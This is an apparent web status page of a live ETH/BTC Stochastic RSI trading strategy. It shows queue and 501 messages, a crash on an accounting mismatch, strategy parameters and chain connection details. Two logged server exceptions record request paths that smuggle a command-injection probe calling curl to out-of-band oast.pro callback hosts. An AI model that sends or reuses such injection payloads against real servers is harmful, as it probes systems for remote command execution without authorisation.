Strategy icon

Stochastic ETH-BTC betaarchived

A breakout strategy for ETH and BTC using Stochastic RSI indicators

Strategy Logs

Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b06eigpiywfjtx6.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b05bseuskd61tcs.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1872, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 139, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1807, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 132, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1807, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0gm864jtqsgowq.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0cc8bs4oy1sgfb.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1872, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 139, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1807, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 132, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1807, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Main loop terminated. Entering to the web server wait mode. Run-time version was: Trade-executor Docker version: v1212 Commit hash: a4f21db8d2bfc44c152a93f1956d6757d0c8a6b9 Commit message: Fix timedelta serialisation issue
UnexpectedAccountingCorrectionIssue('Aborting execution as we cannot reliable trade with incorrect balances.')
Traceback (most recent call last): (5 lines) File "/usr/src/trade-executor/tradeexecutor/cli/commands/start.py", line 599, in start loop.run_with_state(state) File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1578, in run_with_state return self.run_live(state) ^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1203, in run_live self.runner.check_accounts( File "/usr/src/trade-executor/tradeexecutor/strategy/runner.py", line 1147, in check_accounts raise UnexpectedAccountingCorrectionIssue("Aborting execution as we cannot reliable trade with incorrect balances.") tradeexecutor.strategy.account_correction.UnexpectedAccountingCorrectionIssue: Aborting execution as we cannot reliable trade with incorrect balances.
trade-executor enzyme-ethereum-btc-eth-stoch-rsi execution loop crashed
Aborting execution as we cannot reliable trade with incorrect balances.
Accounting differences detected for: 0x773C9f40a7aeCcB307dFFFD237Fc55e649bf375a at block <latest>, cycle None Differences are: Address Position Actual Expected Diff Dusty Lowval Misma Dust eps. Rel eps USD diff Blacklisted WBTC 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 WBTC-USDC 0.000000 0.000000 0.0000 N Y N 0.0000 0.0005 0.00 False aEthUSDC 0x98c23e9d8f34fefb1b7bd6a91b7ff122f4e16f5c aEthUSDC-USDC 26896.123260 26371.921786 524.2015 Y N 1.99% 0.1000 0.0005 524.20 False USDC 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 Reserves 43.417301 43.417299 0.0000 Y Y N 0.1000 0.0050 0.00 False WETH 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 WETH-USDC 0.000000 0.000000 0.0000 N Y N 0.0000 0.0005 0.00 False
Trading universe is: base quote exchange type fee % price last_price_at first_price_at volume tvl tvl_at tax id 2697647 WBTC USDC uniswap-v3 traded 0.30 92358.11 0 days 2024-08-26 2147947.33 <not loaded> - 0.0% / 0.0% 2697765 WETH USDC uniswap-v3 traded 0.05 3208.63 0 days 2024-08-26 21453513.35 <not loaded> - 0.0% / 0.0%
The execution state was last saved 2025-08-27 14:03:29
Starting with strategy parameters: Parameter Value ----------------------------------- --------------------------------- backtest_end 2024-07-15 00:00:00 backtest_start 2020-01-01 00:00:00 backtest_trading_fee 0.0005 binance_data True candle_time_bucket TimeBucket.d7 chain_id 1 credit_allocation 1.0 cycle_duration CycleDuration.cycle_7d id enzyme-ethereum-btc-eth-stoch-rsi initial_cash 10000 required_history_period 511 days, 0:00:00 routing TradeRouting.default rsi_length 26 stoch_rsi_high 40 stoch_rsi_length 19 stoch_rsi_low 20 stop_loss_pct 0.9 stop_loss_time_bucket TimeBucket.h4 trading_strategy_engine_version 0.5 trailing_stop_loss_activation_level 1.0 trailing_stop_loss_pct 0.8 grid_search False
Stochastic ETH-BTC (enzyme-ethereum-btc-eth-stoch-rsi): trade execution starting
Parameters.slippage_tolerance missing - needed for live trading. Please add.
Connected to chain: ethereum, gas pricing method: london, providers ['rpc.mevblocker.io', 'lb.drpc.org', 'eth-mainnet.g.alchemy.com']